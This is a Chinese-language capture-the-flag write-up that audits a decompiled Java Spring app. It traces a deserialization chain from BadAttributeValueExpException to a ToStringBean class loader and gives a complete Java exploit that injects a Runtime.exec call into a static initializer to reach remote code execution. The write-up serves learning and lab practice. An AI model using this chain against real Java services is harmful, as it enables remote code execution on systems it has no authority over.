环境

题目给的是一个jar包,运行也没啥东西。直接用IDEA反编译jar包。

项目目录如下图所示:

image-20220901084000488

为了方便写exp,我照着这个结构构建了项目,如果只是写exp的话只需把Tools和ToStringBean贴到项目里即可。如果要debug,则用maven构建项目把pom.xml复制过来;完全按照反编译结构构建项目即可。

审计分析

先从Controller入手

    @ResponseBody
    @RequestMapping({"/readobject"})
    public String unser(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
        byte[] b = Tools.base64Decode(data);
        InputStream inputStream = new ByteArrayInputStream(b);
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        String name = objectInputStream.readUTF();
        int year = objectInputStream.readInt();
        if (name.equals("gadgets") && year == 2021) {
            objectInputStream.readObject();
        }

        return "welcome bro.";

显然要从/readobject路由入手,传入的data用bas64解码后进行反序列化,如果输出流写入字符串为gadgets且写入Int为2021,则执行反序列化。

整体反序列化流程了解完,接下来寻找危险函数。

很明显:

public class ToStringBean extends ClassLoader implements Serializable {
    private byte[] ClassByte;

    public ToStringBean() {
    }

    public String toString() {
        ToStringBean toStringBean = new ToStringBean();
        Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
        Object var3 = null;

        try {
            var3 = clazz.newInstance();
        } catch (InstantiationException var5) {
            var5.printStackTrace();
        } catch (IllegalAccessException var6) {
            var6.printStackTrace();
        }

        return "enjoy it.";
    }
}

这是标准的类加载并且调用了newInstance();实例化,因此只要把恶意代码写在静态代码块即可触发。

而该恶意函数为toString,这是一个很常见的方法,因此直接从readObject入手,在CC5中的反序列化入口类BadAttributeValueExpException正是触发了toString方法。

**注意:BadAttributeValueExpException源于jdk自带的rj.jar包中。 **

Object valObj = gf.get("val", null);
//...略
else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }

没有设置安全管理器,System.getSecurityManager() == null,而valObj源自于val,该值需要通过反射修改为ToStringBean toStringbean即可触发toString。

注意序列化后的字符串用Tools的base64编码。

由于base64编码后的字符串存在+号,因此需要url编码一层。

gadget:

BadAttributeValueExpException#readObject
ToStringBean#toString
defineClass
newInstance

Exp

import com.ezgame.ctf.tools.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

import static com.ezgame.ctf.tools.Tools.base64Encode;

public class Payload {
    public static void main(String[] args) throws NoSuchFieldException, CannotCompileException, NotFoundException, IOException, IllegalAccessException {

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Squirt1e");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        cc.writeFile();
        byte[] classBytes = cc.toBytecode();

        ToStringBean toStringBean=new ToStringBean();

        Class toStringBeanClass = ToStringBean.class;
        Field ClassByte = toStringBeanClass.getDeclaredField("ClassByte");
        ClassByte.setAccessible(true);
        ClassByte.set(toStringBean,classBytes);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

        Class<BadAttributeValueExpException> badAttributeValueExpExceptionClass = BadAttributeValueExpException.class;
        Field badAttributeValueExpExceptionClassField  = badAttributeValueExpExceptionClass.getDeclaredField("val");
        badAttributeValueExpExceptionClassField.setAccessible(true);
        badAttributeValueExpExceptionClassField.set(badAttributeValueExpException,toStringBean);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeUTF("gadgets");
        objectOutputStream.writeInt(2021);
        objectOutputStream.writeObject(badAttributeValueExpException);

        byte[] bytes1 = byteArrayOutputStream.toByteArray();
        String s = base64Encode(bytes1);
        System.out.println(s);

    }
}

RCE

image-20220901092859118